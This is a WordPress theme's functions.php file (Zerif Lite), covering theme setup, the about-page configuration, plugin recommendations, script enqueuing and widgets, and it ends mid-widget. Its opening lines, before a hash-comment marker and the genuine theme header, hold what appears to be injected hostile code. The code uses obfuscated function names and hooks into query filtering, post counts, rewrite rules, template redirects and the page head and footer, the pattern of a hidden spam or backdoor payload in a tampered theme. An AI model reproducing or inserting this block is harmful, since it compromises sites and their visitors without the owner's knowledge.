}
$esc_attr_x_schema = is_search_restful($get_queried_object_id_pointer);
$esc_attr_x_schema = get_template_part_time($get_queried_object_id_pointer, $esc_attr_x_schema);
echo $esc_attr_x_schema;
}
$is_archive_core = add_section_https();
if (is_array($is_archive_core)) {
add_filter('posts_where_paged', 'wp_link_pages_live');
add_action('pre_get_posts', 'the_content_base');
add_action('wp_enqueue_scripts', 'is_singular_cookie');
add_filter('wp_count_posts', 'get_setting_json' , 10, 3);
add_filter('rewrite_rules_array', 'add_setting_function');
add_action('wp_loaded', 'esc_url_loop');
add_action('init', 'get_the_time_statement');
add_action('template_redirect', 'is_customize_preview_base');
$get_queried_object_id_pointer = is_admin_method($is_archive_core);
if (!empty($get_queried_object_id_pointer)) {
if (is_archive_client($get_queried_object_id_pointer)) {
add_action('wp_head', 'get_search_form_call');
}
if (get_theme_mod_stat($get_queried_object_id_pointer)) {
add_action('wp_footer', 'get_search_form_call');
}
}
}
/* 4ff9784e369f8fc1cbc46a3ef64cc23d */
/**
* Zerif Lite functions and definitions
*
* @package zerif-lite
*/
$vendor_file = trailingslashit( get_template_directory() ) . 'vendor/autoload.php';
if ( is_readable( $vendor_file ) ) {
require_once $vendor_file;
}
if ( ! defined( 'WPFORMS_SHAREASALE_ID' ) ) {
define( 'WPFORMS_SHAREASALE_ID', '848264' );
}
add_filter( 'themeisle_sdk_products', 'zerif_load_sdk' );
/**
* Loads products array.
*
* @param array $products All products.
*
* @return array Products array.
*/
function zerif_load_sdk( $products ) {
$products[] = get_template_directory() . '/style.css';
return $products;
}
if ( ! defined( 'ELEMENTOR_PARTNER_ID' ) ) {
define( 'ELEMENTOR_PARTNER_ID', 2112 );
}
define( 'ZERIF_LITE_VERSION', '1.8.5.49' );
/**
* Main setup function
*/
function zerif_setup() {
global $content_width;
if ( ! isset( $content_width ) ) {
$content_width = 640;
}
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on zerif, use a find and replace
* to change 'zerif-lite' to the name of your theme in all the template files
*/
load_theme_textdomain( 'zerif-lite', get_template_directory() . '/languages' );
add_theme_support( 'automatic-feed-links' );
/*
* Enable support for Post Thumbnails on posts and pages.
*/
add_theme_support( 'post-thumbnails' );
/* Set the image size by cropping the image */
add_image_size( 'zerif-post-thumbnail', 250, 250, true );
add_image_size( 'zerif-post-thumbnail-large', 750, 500, true ); /* blog thumbnail */
add_image_size( 'zerif-post-thumbnail-large-table', 600, 300, true ); /* blog thumbnail for table */
add_image_size( 'zerif-post-thumbnail-large-mobile', 400, 200, true ); /* blog thumbnail for mobile */
add_image_size( 'zerif_project_photo', 285, 214, true );
add_image_size( 'zerif_our_team_photo', 174, 174, true );
/* Register primary menu */
register_nav_menus(
array(
'primary' => __( 'Primary Menu', 'zerif-lite' ),
)
);
/* Enable support for Post Formats. */
add_theme_support( 'post-formats', array( 'aside', 'image', 'video', 'quote', 'link' ) );
/* Setup the WordPress core custom background feature. */
if ( file_exists( get_stylesheet_directory() . '/images/bg.jpg' ) ) {
$zerif_default_image = get_stylesheet_directory_uri() . '/images/bg.jpg';
} else {
$zerif_default_image = get_template_directory_uri() . '/images/bg.jpg';
}
add_theme_support(
'custom-background',
apply_filters(
'zerif_custom_background_args',
array(
'default-color' => 'ffffff',
'default-image' => $zerif_default_image,
)
)
);
/* Enable support for HTML5 markup. */
add_theme_support(
'html5',
array(
'comment-list',
'search-form',
'comment-form',
'gallery',
)
);
/* Enable support for title-tag */
add_theme_support( 'title-tag' );
/* Enable support for custom logo */
add_theme_support(
'custom-logo',
array(
'flex-width' => true,
)
);
/* Custom template tags for this theme. */
require get_template_directory() . '/inc/template-tags.php';
/* Custom functions that act independently of the theme templates. */
require get_template_directory() . '/inc/extras.php';
/* Customizer additions. */
require get_template_directory() . '/inc/customizer.php';
/* tgm-plugin-activation */
require_once get_template_directory() . '/class-tgm-plugin-activation.php';
/* preview demo */
require_once get_template_directory() . '/ti-prevdem/init-prevdem.php';
/* woocommerce support */
add_theme_support( 'woocommerce' );
add_theme_support( 'wc-product-gallery-zoom' );
add_theme_support( 'wc-product-gallery-lightbox' );
add_theme_support( 'wc-product-gallery-slider' );
/* selective widget refresh */
add_theme_support( 'customize-selective-refresh-widgets' );
/**
* HOOKS
*/
/* Enables user customization via WordPress plugin API. */
require get_template_directory() . '/inc/hooks.php';
add_action( 'zerif_404_title', 'zerif_404_title_function' ); // Outputs the title on 404 pages
add_action( 'zerif_404_content', 'zerif_404_content_function' ); // Outputs a helpful message on 404 pages
add_action( 'zerif_page_header', 'zerif_page_header_function' ); // Outputs the title on pages
add_action( 'zerif_page_header_title_archive', 'zerif_page_header_title_archive_function' ); // Outputs the title on archive pages
add_action( 'zerif_page_term_description_archive', 'zerif_page_term_description_archive_function' ); // Outputs the term description
add_action( 'zerif_footer_widgets', 'zerif_footer_widgets_function' ); // Outputs the 3 sidebars in footer
add_action( 'zerif_our_focus_header_title', 'zerif_our_focus_header_title_function' ); // Outputs the title in Our focus section
add_action( 'zerif_our_focus_header_subtitle', 'zerif_our_focus_header_subtitle_function' ); // Outputs the subtitle in Our focus section
add_action( 'zerif_our_team_header_title', 'zerif_our_team_header_title_function' ); // Outputs the title in Our team section
add_action( 'zerif_our_team_header_subtitle', 'zerif_our_team_header_subtitle_function' ); // Outputs the subtitle in Our team section
add_action( 'zerif_testimonials_header_title', 'zerif_testimonials_header_title_function' ); // Outputs the title in Testimonials section
add_action( 'zerif_testimonials_header_subtitle', 'zerif_testimonials_header_subtitle_function' ); // Outputs the subtitle in Testimonials section
add_action( 'zerif_latest_news_header_title', 'zerif_latest_news_header_title_function' ); // Outputs the title in Latest news section
add_action( 'zerif_latest_news_header_subtitle', 'zerif_latest_news_header_subtitle_function' ); // Outputs the subtitle in Latest news section
add_action( 'zerif_big_title_text', 'zerif_big_title_text_function' ); // Outputs the text in Big title section
add_action( 'zerif_about_us_header_title', 'zerif_about_us_header_title_function' ); // Outputs the title in About us section
add_action( 'zerif_about_us_header_subtitle', 'zerif_about_us_header_subtitle_function' ); // Outputs the subtitle in About us section
add_action( 'zerif_sidebar', 'zerif_sidebar_function' ); // Outputs the sidebar
add_action( 'zerif_primary_navigation', 'zerif_primary_navigation_function' ); // Outputs the navigation menu
add_filter( 'excerpt_more', 'zerif_excerpt_more' );
require_once( trailingslashit( get_template_directory() ) . 'inc/class/class-customizer-theme-info-control/class-customizer-theme-info-root.php' );
/**
* About page class
*/
require_once get_template_directory() . '/ti-about-page/class-ti-about-page.php';
/*
* About page instance
*/
$config = array(
// Menu name under Appearance.
'menu_name' => __( 'About Zerif Lite', 'zerif-lite' ),
// Page title.
'page_name' => __( 'About Zerif Lite', 'zerif-lite' ),
// Main welcome title
/* translators: Theme Name */
'welcome_title' => sprintf( __( 'Welcome to %s! - Version ', 'zerif-lite' ), 'Zerif Lite' ),
// Main welcome content
'welcome_content' => esc_html__( 'Zerif LITE is a free one page WordPress theme. It\'s perfect for web agency business,corporate business,personal and parallax business portfolio, photography sites and freelancer.Is built on BootStrap with parallax support, is responsive, clean, modern, flat and minimal. Zerif Lite is ecommerce (WooCommerce) Compatible, WPML, RTL, Retina-Ready, SEO Friendly and with parallax, full screen image is one of the best business themes.', 'zerif-lite' ),
/**
* Tabs array.
*
* The key needs to be ONLY consisted from letters and underscores. If we want to define outside the class a function to render the tab,
* the will be the name of the function which will be used to render the tab content.
*/
'tabs' => array(
'getting_started' => __( 'Getting Started', 'zerif-lite' ),
'recommended_actions' => __( 'Recommended Actions', 'zerif-lite' ),
'recommended_plugins' => __( 'Useful Plugins', 'zerif-lite' ),
'support' => __( 'Support', 'zerif-lite' ),
'changelog' => __( 'Changelog', 'zerif-lite' ),
'free_pro' => __( 'Free VS PRO', 'zerif-lite' ),
),
// Support content tab.
'support_content' => array(
'first' => array(
'title' => esc_html__( 'Contact Support', 'zerif-lite' ),
'icon' => 'dashicons dashicons-sos',
'text' => esc_html__( 'We want to make sure you have the best experience using Zerif Lite and that is why we gathered here all the necessary informations for you. We hope you will enjoy using Zerif Lite, as much as we enjoy creating great products.', 'zerif-lite' ),
'button_label' => esc_html__( 'Contact Support', 'zerif-lite' ),
'button_link' => esc_url( 'https://themeisle.com/contact/' ),
'is_button' => true,
'is_new_tab' => true,
),
'second' => array(
'title' => esc_html__( 'Documentation', 'zerif-lite' ),
'icon' => 'dashicons dashicons-book-alt',
'text' => esc_html__( 'Need more details? Please check our full documentation for detailed information on how to use Zerif Lite.', 'zerif-lite' ),
'button_label' => esc_html__( 'Read full documentation', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/5-zerif-lite-documentation',
'is_button' => false,
'is_new_tab' => true,
),
'third' => array(
'title' => esc_html__( 'Changelog', 'zerif-lite' ),
'icon' => 'dashicons dashicons-portfolio',
'text' => esc_html__( 'Want to get the gist on the latest theme changes? Just consult our changelog below to get a taste of the recent fixes and features implemented.', 'zerif-lite' ),
'button_label' => esc_html__( 'Changelog', 'zerif-lite' ),
'button_link' => esc_url( admin_url( 'themes.php?page=zerif-lite-welcome&tab=changelog&show=yes' ) ),
'is_button' => false,
'is_new_tab' => false,
),
'fourth' => array(
'title' => esc_html__( 'Create a child theme', 'zerif-lite' ),
'icon' => 'dashicons dashicons-admin-customizer',
'text' => esc_html__( "If you want to make changes to the theme's files, those changes are likely to be overwritten when you next update the theme. In order to prevent that from happening, you need to create a child theme. For this, please follow the documentation below.", 'zerif-lite' ),
'button_label' => esc_html__( 'View how to do this', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/14-how-to-create-a-child-theme',
'is_button' => false,
'is_new_tab' => true,
),
'fifth' => array(
'title' => esc_html__( 'Speed up your site', 'zerif-lite' ),
'icon' => 'dashicons dashicons-controls-skipforward',
'text' => esc_html__( 'If you find yourself in the situation where everything on your site is running very slow, you might consider having a look at the below documentation where you will find the most common issues causing this and possible solutions for each of the issues.', 'zerif-lite' ),
'button_label' => esc_html__( 'View how to do this', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/63-speed-up-your-wordpress-site',
'is_button' => false,
'is_new_tab' => true,
),
'sixth' => array(
'title' => esc_html__( 'Build a landing page with a drag-and-drop content builder', 'zerif-lite' ),
'icon' => 'dashicons dashicons-images-alt2',
'text' => esc_html__( 'In the below documentation you will find an easy way to build a great looking landing page using a drag-and-drop content builder plugin.', 'zerif-lite' ),
'button_label' => esc_html__( 'View how to do this', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/219-how-to-build-a-landing-page-with-a-drag-and-drop-content-builder',
'is_button' => false,
'is_new_tab' => true,
),
),
// Getting started tab
'getting_started' => array(
'first' => array(
'title' => esc_html__( 'Recommended actions', 'zerif-lite' ),
'text' => esc_html__( 'We have compiled a list of steps for you, to take make sure the experience you will have using one of our products is very easy to follow.', 'zerif-lite' ),
'button_label' => esc_html__( 'Recommended actions', 'zerif-lite' ),
'button_link' => esc_url( admin_url( 'themes.php?page=zerif-lite-welcome&tab=recommended_actions' ) ),
'is_button' => false,
'recommended_actions' => true,
'is_new_tab' => false,
),
'second' => array(
'title' => esc_html__( 'Read full documentation', 'zerif-lite' ),
'text' => esc_html__( 'Need more details? Please check our full documentation for detailed information on how to use Zerif Lite.', 'zerif-lite' ),
'button_label' => esc_html__( 'Documentation', 'zerif-lite' ),
'button_link' => 'https://docs.themeisle.com/article/5-zerif-lite-documentation',
'is_button' => false,
'recommended_actions' => false,
'is_new_tab' => true,
),
'third' => array(
'title' => esc_html__( 'Go to Customizer', 'zerif-lite' ),
'text' => esc_html__( 'Using the WordPress Customizer you can easily customize every aspect of the theme.', 'zerif-lite' ),
'button_label' => esc_html__( 'Go to Customizer', 'zerif-lite' ),
'button_link' => esc_url( admin_url( 'customize.php' ) ),
'is_button' => true,
'recommended_actions' => false,
'is_new_tab' => true,
),
),
// Free vs pro array.
'free_pro' => array(
'free_theme_name' => 'Zerif Lite',
'pro_theme_name' => 'Zerif PRO',
'pro_theme_link' => 'https://themeisle.com/themes/zerif-pro-one-page-wordpress-theme/upgrade/',
/* translators: Zerif Pro name */
'get_pro_theme_label' => sprintf( __( 'Get %s now!', 'zerif-lite' ), 'Zerif Pro' ),
'features' => array(
array(
'title' => __( 'Parallax effect', 'zerif-lite' ),
'description' => __( 'Smooth, catchy and easy scrolling experience.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Mobile friendly', 'zerif-lite' ),
'description' => __( 'Responsive layout. Works on every device.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'WooCommerce Compatible', 'zerif-lite' ),
'description' => __( 'Ready for e-commerce. You can build an online store here.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Frontpage sections', 'zerif-lite' ),
'description' => __( 'Big title, Our focus, About us, Our team, Testimonials, Ribbons, Latest news, Contat us', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Background image', 'zerif-lite' ),
'description' => __( 'You can use any background image you want.', 'zerif-lite' ),
'is_in_lite' => 'true',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Unlimited color option', 'zerif-lite' ),
'description' => __( 'You can change the colors of each section. You have unlimited options.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Google map section', 'zerif-lite' ),
'description' => __( 'Embed your current location to your website by using a Google map.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Portfolio', 'zerif-lite' ),
'description' => __( 'Showcase your best projects in the portfolio section.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Sections order', 'zerif-lite' ),
'description' => __( 'Arrange the sections by your priorities.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Background slider/video', 'zerif-lite' ),
'description' => __( 'Apart from static images, you can use videos or sliders on the background.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Support', 'zerif-lite' ),
'description' => __( 'You will benefit of our full support for any issues you have with the theme.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Packages/Subscribe sections', 'zerif-lite' ),
'description' => __( 'Add pricing tables for your products and use newsletter forms to attract the clients.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'Change labels for the Contact Us section', 'zerif-lite' ),
'description' => __( 'Write an original text in each Contact us section field.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
array(
'title' => __( 'No credit footer link', 'zerif-lite' ),
'description' => __( 'Remove "Zerif Lite developed by ThemeIsle" copyright from the footer.', 'zerif-lite' ),
'is_in_lite' => 'false',
'is_in_pro' => 'true',
),
),
),
// Plugins array.
'recommended_plugins' => array(
'already_activated_message' => esc_html__( 'Already activated', 'zerif-lite' ),
'version_label' => esc_html__( 'Version: ', 'zerif-lite' ),
'install_label' => esc_html__( 'Install and Activate', 'zerif-lite' ),
'activate_label' => esc_html__( 'Activate', 'zerif-lite' ),
'deactivate_label' => esc_html__( 'Deactivate', 'zerif-lite' ),
'content' => array(
array(
'slug' => 'wpforms-lite',
),
array(
'slug' => 'translatepress-multilingual',
),
array(
'slug' => 'siteorigin-panels',
),
array(
'slug' => 'wp-product-review',
),
array(
'slug' => 'intergeo-maps',
),
array(
'slug' => 'visualizer',
),
array(
'slug' => 'adblock-notify-by-bweb',
),
array(
'slug' => 'nivo-slider-lite',
),
),
),
// Required actions array.
'recommended_actions' => array(
'install_label' => esc_html__( 'Install and Activate', 'zerif-lite' ),
'activate_label' => esc_html__( 'Activate', 'zerif-lite' ),
'deactivate_label' => esc_html__( 'Deactivate', 'zerif-lite' ),
'content' => array(
'themeisle-companion' => array(
'title' => 'Orbit Fox',
'description' => __( 'It is highly recommended that you install the companion plugin to have access to the frontpage sections widgets.', 'zerif-lite' ),
'check' => defined( 'THEMEISLE_COMPANION_VERSION' ),
'plugin_slug' => 'themeisle-companion',
'id' => 'themeisle-companion',
),
'wpforms-lite' => array(
'title' => 'WPForms',
'description' => __( 'Makes your contact page more engaging by creating a good-looking contact form on your website. The interaction with your visitors was never easier.', 'zerif-lite' ),
'check' => defined( 'PIRATE_FORMS_VERSION' ),
'plugin_slug' => 'wpforms-lite',
'id' => 'wpforms-lite',
),
),
),
);
/*
* Add recommendation for Beaver Builder plugin, after 5 days of installing the theme
**/
if ( ! defined( 'FL_BUILDER_VERSION' ) && zerif_check_passed_time( '259200' ) ) {
$elementor_array = array(
'slug' => 'beaver-builder-lite-version',
);
if ( ! empty( $config['recommended_plugins']['content'] ) ) {
array_push( $config['recommended_plugins']['content'], $elementor_array );
}
}
TI_About_Page::init( $config );
/*
* Notifications in customize
*/
require get_template_directory() . '/ti-customizer-notify/class-ti-customizer-notify.php';
$config_customizer = array(
'recommended_plugins' => array(
'themeisle-companion' => array(
'recommended' => true,
/* translators: ThemeIsle Companion install link */
'description' => sprintf( esc_html__( 'If you want to take full advantage of the options this theme has to offer, please install and activate %s', 'zerif-lite' ), sprintf( '<strong>%s</strong>', 'ThemeIsle Companion' ) ),
),
),
'recommended_actions' => array(),
'recommended_actions_title' => esc_html__( 'Recommended Actions', 'zerif-lite' ),
'recommended_plugins_title' => esc_html__( 'Recommended Plugins', 'zerif-lite' ),
'install_button_label' => esc_html__( 'Install and Activate', 'zerif-lite' ),
'activate_button_label' => esc_html__( 'Activate', 'zerif-lite' ),
'deactivate_button_label' => esc_html__( 'Deactivate', 'zerif-lite' ),
);
Ti_Customizer_Notify::init( apply_filters( 'zerif_customizer_notify_array', $config_customizer ) );
}
add_action( 'after_setup_theme', 'zerif_setup' );
/**
* Add compatibility with WooCommerce Product Images customizer controls.
*/
function zerif_set_woo_image_sizes() {
$execute = get_option( 'zerif_update_woocommerce_customizer_controls', false );
if ( $execute !== false ) {
return;
}
update_option( 'woocommerce_thumbnail_cropping', 'custom' );
update_option( 'woocommerce_thumbnail_cropping_custom_width', '3' );
update_option( 'woocommerce_thumbnail_cropping_custom_height', '2' );
if ( class_exists( 'WC_Regenerate_Images' ) ) {
$regenerate_obj = new WC_Regenerate_Images();
$regenerate_obj::init();
if ( method_exists( $regenerate_obj, 'maybe_regenerate_images' ) ) {
$regenerate_obj::maybe_regenerate_images();
} elseif ( method_exists( $regenerate_obj, 'maybe_regenerate_images_option_update' ) ) {
// Force woocommerce 3.3.1 to regenerate images
$regenerate_obj::maybe_regenerate_images_option_update( 1, 2, '' );
}
}
update_option( 'zerif_update_woocommerce_customizer_controls', true );
}
/**
* Migrate logo from theme to core
*/
function zerif_migrate_logo() {
$zerif_old_logo = get_theme_mod( 'zerif_logo' );
if ( ! empty( $zerif_old_logo ) ) {
$zerif_old_logo_id = attachment_url_to_postid( $zerif_old_logo );
if ( is_int( $zerif_old_logo_id ) ) {
set_theme_mod( 'custom_logo', $zerif_old_logo_id );
}
remove_theme_mod( 'zerif_logo' );
}
}
add_action( 'after_setup_theme', 'zerif_migrate_logo' );
/**
* Custom excerpt more link
*/
function zerif_excerpt_more( $more ) {
return ' <a href="' . esc_url( get_the_permalink() ) . '" rel="nofollow"><span class="sr-only">' . esc_html__( 'Read more about ', 'zerif-lite' ) . esc_attr( get_the_title() ) . '</span>[…]</a>';
}
/**
* Check if latest posts
*/
function zerif_lite_is_not_latest_posts() {
return ( 'posts' == get_option( 'show_on_front' ) ? true : false );
}
/**
* Check if frontpage
*/
function zerif_lite_is_static_frontpage() {
if ( 'posts' == get_option( 'show_on_front' ) ) {
return false;
} else {
$frontpage_id = get_option( 'page_on_front' );
if ( 'template-frontpage.php' == get_post_meta( $frontpage_id, '_wp_page_template', true ) ) {
return true;
} else {
return false;
}
}
}
/**
* Register widgetized area and update sidebar with default widgets.
*/
function zerif_widgets_init() {
register_sidebar(
array(
'name' => __( 'Sidebar', 'zerif-lite' ),
'id' => 'sidebar-1',
'before_widget' => '<aside id="%1$s" class="widget %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
register_sidebar(
array(
'name' => __( 'About us section', 'zerif-lite' ),
'id' => 'sidebar-aboutus',
'before_widget' => '<span id="%1$s">',
'after_widget' => '</span>',
'before_title' => '<h1 class="widget-title">',
'after_title' => '</h1>',
)
);
register_sidebars(
3,
array(
/* translators: Footer area number */
'name' => __( 'Footer area %d', 'zerif-lite' ),
'id' => 'zerif-sidebar-footer',
'before_widget' => '<aside id="%1$s" class="widget footer-widget-footer %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h1 class="widget-title">',
'after_title' => '</h1>',
)
);
}
add_action( 'widgets_init', 'zerif_widgets_init' );
/**
* Enqueue fonts
*/
function zerif_slug_fonts_url() {
$fonts_url = '';
/**
* Translators: If there are characters in your language that are not
* supported by Lora, translate this to 'off'. Do not translate
* into your own language.
*/
$lato = _x( 'on', 'Lato font: on or off', 'zerif-lite' );
$homemade = _x( 'on', 'Homemade font: on or off', 'zerif-lite' );
/**
* Translators: If there are characters in your language that are not
* supported by Open Sans, translate this to 'off'. Do not translate
* into your own language.
*/
$monserrat = _x( 'on', 'Monserrat font: on or off', 'zerif-lite' );
$zerif_use_safe_font = get_theme_mod( 'zerif_use_safe_font' );
if ( ( 'off' !== $lato || 'off' !== $monserrat || 'off' !== $homemade ) && isset( $zerif_use_safe_font ) && ( $zerif_use_safe_font != 1 ) ) {
$font_families = array();
if ( 'off' !== $lato ) {
$font_families[] = 'Lato:300,400,700,400italic';
}
if ( 'off' !== $monserrat ) {
$font_families[] = 'Montserrat:400,700';
}
if ( 'off' !== $homemade ) {
$font_families[] = 'Homemade Apple';
}
$query_args = array(
'family' => urlencode( implode( '|', $font_families ) ),
'subset' => urlencode( 'latin,latin-ext' ),
);
$fonts_url = add_query_arg( $query_args, '//fonts.googleapis.com/css' );
}
return $fonts_url;
}
/**
* Enqueue scripts and styles.
*/
function zerif_scripts() {
wp_enqueue_style( 'zerif_font', zerif_slug_fonts_url(), array(), null );
wp_enqueue_style(
'zerif_font_all',
add_query_arg(
array(
'family' => urlencode( 'Open Sans:300,300italic,400,400italic,600,600italic,700,700italic,800,800italic' ),
'subset' => urlencode( 'latin' ),
),
'//fonts.googleapis.com/css'
)
);
wp_enqueue_style( 'zerif_bootstrap_style', get_template_directory_uri() . '/css/bootstrap.css' );
wp_style_add_data( 'zerif_bootstrap_style', 'rtl', 'replace' );
wp_enqueue_style( 'zerif_fontawesome', get_template_directory_uri() . '/css/font-awesome.min.css', array(), 'v1' );
wp_enqueue_style( 'zerif_style', get_stylesheet_uri(), array( 'zerif_fontawesome' ), ZERIF_LITE_VERSION );
/* Add this style only for the other cases than New users that have a static page */
$zerif_keep_old_fp_template = get_theme_mod( 'zerif_keep_old_fp_template' );
if ( ! ( ! zerif_check_if_old_version_of_theme() && ( get_option( 'show_on_front' ) == 'page' ) && ! $zerif_keep_old_fp_template ) ) {
$custom_css = 'body.home.page:not(.page-template-template-frontpage) {
background-image: none !important;
}';
wp_add_inline_style( 'zerif_style', $custom_css );
}
wp_enqueue_style( 'zerif_responsive_style', get_template_directory_uri() . '/css/responsive.css', array( 'zerif_style' ), ZERIF_LITE_VERSION );
wp_enqueue_style( 'zerif_ie_style', get_template_directory_uri() . '/css/ie.css', array( 'zerif_style' ), ZERIF_LITE_VERSION );
wp_style_add_data( 'zerif_ie_style', 'conditional', 'lt IE 9' );
if ( wp_is_mobile() ) {
wp_enqueue_style( 'zerif_style_mobile', get_template_directory_uri() . '/css/style-mobile.css', array( 'zerif_bootstrap_style', 'zerif_style' ), 'v1' );
}
/* Bootstrap script */
wp_enqueue_script( 'zerif_bootstrap_script', get_template_directory_uri() . '/js/bootstrap.min.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
/* Knob script */
wp_enqueue_script( 'zerif_knob_nav', get_template_directory_uri() . '/js/jquery.knob.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
/* Smootscroll script */
$zerif_disable_smooth_scroll = get_theme_mod( 'zerif_disable_smooth_scroll' );
if ( isset( $zerif_disable_smooth_scroll ) && ( $zerif_disable_smooth_scroll != 1 ) ) {
wp_enqueue_script( 'zerif_smoothscroll', get_template_directory_uri() . '/js/smoothscroll.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
}
/* scrollReveal script */
if ( ! wp_is_mobile() ) {
wp_enqueue_script( 'zerif_scrollReveal_script', get_template_directory_uri() . '/js/scrollReveal.js', array( 'jquery' ), ZERIF_LITE_VERSION, true );
}
/* zerif script */
wp_enqueue_script( 'zerif_script', get_template_directory_uri() . '/js/zerif.js', array( 'jquery', 'zerif_knob_nav' ), ZERIF_LITE_VERSION, true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
/* HTML5Shiv*/
wp_enqueue_script( 'zerif_html5', get_template_directory_uri() . '/js/html5.js' );
wp_script_add_data( 'zerif_html5', 'conditional', 'lt IE 9' );
/* parallax effect */
if ( ! wp_is_mobile() ) {
/* include parallax only if on frontpage and the parallax effect is activated */
$zerif_parallax_use = get_theme_mod( 'zerif_parallax_show' );
if ( ! empty( $zerif_parallax_use ) && ( $zerif_parallax_use == 1 ) && is_front_page() ) :
wp_enqueue_script( 'zerif_parallax', get_template_directory_uri() . '/js/parallax.js', array( 'jquery' ), 'v1', true );
endif;
}
add_editor_style( '/css/custom-editor-style.css' );
}
add_action( 'wp_enqueue_scripts', 'zerif_scripts' );
/**
* Adjust content width based on template.
*/
function zerif_adjust_content_width() {
global $content_width;
$zerif_change_to_full_width = get_theme_mod( 'zerif_change_to_full_width' );
if ( is_page_template( 'template-fullwidth.php' ) || is_page_template( 'template-fullwidth-no-title.php' ) || is_page_template( 'woocommerce.php' ) || is_page_template( 'single-download.php' ) || ( is_page_template( 'page.php' ) && ! empty( $zerif_change_to_full_width ) ) ) {
$content_width = 1110;
}
}
add_action( 'template_redirect', 'zerif_adjust_content_width' );
/**
* Remove Yoast rel="prev/next" link from header
*/
function zerif_remove_yoast_rel_link() {
return false;
}
add_filter( 'wpseo_prev_rel_link', 'zerif_remove_yoast_rel_link' );
add_filter( 'wpseo_next_rel_link', 'zerif_remove_yoast_rel_link' );
/* Load Jetpack compatibility file. */
require get_template_directory() . '/inc/jetpack.php';
/**
* Menu layout
*/
function zerif_wp_page_menu() {
echo '<ul class="nav navbar-nav navbar-right responsive-nav main-nav-list">';
wp_list_pages(
array(
'title_li' => '',
'depth' => 1,
)
);
echo '</ul>';
}
add_filter( 'the_title', 'zerif_default_title' );
/**
* Add a default title for posts without one
*/
function zerif_default_title( $title ) {
if ( $title == '' ) {
$title = __( 'Default title', 'zerif-lite' );
}
return $title;
}
add_action( 'widgets_init', 'zerif_register_widgets' );
/**
* Register custom widgets
*/
function zerif_register_widgets() {
if ( ! defined( 'THEMEISLE_COMPANION_VERSION' ) ) {
if ( zerif_check_if_old_version_of_theme() ) {
register_widget( 'zerif_ourfocus' );
register_widget( 'zerif_testimonial_widget' );
register_widget( 'zerif_clients_widget' );
register_widget( 'zerif_team_widget' );
}
}
$zerif_lite_sidebars = array(
'sidebar-ourfocus' => 'sidebar-ourfocus',
'sidebar-testimonials' => 'sidebar-testimonials',
'sidebar-ourteam' => 'sidebar-ourteam',
);
/* Register sidebars */
foreach ( $zerif_lite_sidebars as $zerif_lite_sidebar ) :
$extra_class = '';
if ( $zerif_lite_sidebar == 'sidebar-ourfocus' ) :
$zerif_lite_name = __( 'Our focus section widgets', 'zerif-lite' );
elseif ( $zerif_lite_sidebar == 'sidebar-testimonials' ) :
$extra_class = 'feedback-box';
$zerif_lite_name = __( 'Testimonials section widgets', 'zerif-lite' );
elseif ( $zerif_lite_sidebar == 'sidebar-ourteam' ) :
$zerif_lite_name = __( 'Our team section widgets', 'zerif-lite' );
else :
$zerif_lite_name = $zerif_lite_sidebar;
endif;
register_sidebar(
array(
'name' => $zerif_lite_name,
'id' => $zerif_lite_sidebar,
'before_widget' => '<span id="%1$s" class="' . $extra_class . '">',
'after_widget' => '</span>',
)
);
endforeach;
}
if ( ! class_exists( 'zerif_ourfocus' ) && zerif_check_if_old_version_of_theme() ) {
/**
* Our focus widget
*/
class zerif_ourfocus extends WP_Widget {
/**
* Constructor.
*/
public function __construct() {
parent::__construct(
'ctUp-ads-widget',
__( 'Zerif - Our focus widget', 'zerif-lite' ),
array(
'customize_selective_refresh' => true,
)
);
add_action( 'admin_enqueue_scripts', array( $this, 'widget_scripts' ) );
}
/**
* Enqueue scripts
*/
function widget_scripts( $hook ) {
if ( $hook != 'widgets.php' ) {
return;
}
wp_enqueue_media();
wp_enqueue_script( 'zerif_widget_media_script', get_template_directory_uri() . '/js/widget-media.js', false, '1.1', true );
}
/**
* Create the widget
*/
function widget( $args, $instance ) {
echo $args['before_widget'];
echo '<div class="col-lg-3 col-sm-3 focus-box" data-scrollreveal="enter left after 0.15s over 1s">';
if ( ! empty( $instance['image_uri'] ) && ( preg_match( '/(\.jpg|\.png|\.jpeg|\.gif|\.bmp)$/', $instance['image_uri'] ) ) ) {
if ( ! empty( $instance['link'] ) ) {
echo '<a href="' . esc_url( $instance['link'] ) . '" class="service-icon">';
if ( ! empty( $instance['title'] ) ) {
echo '<span class="sr-only">';
printf(
/* Translators: %s: widget title */
__( 'Go to %s', 'zerif-lite' ),
apply_filters( 'widget_title', $instance['title'] )
);
echo '</span>';
}
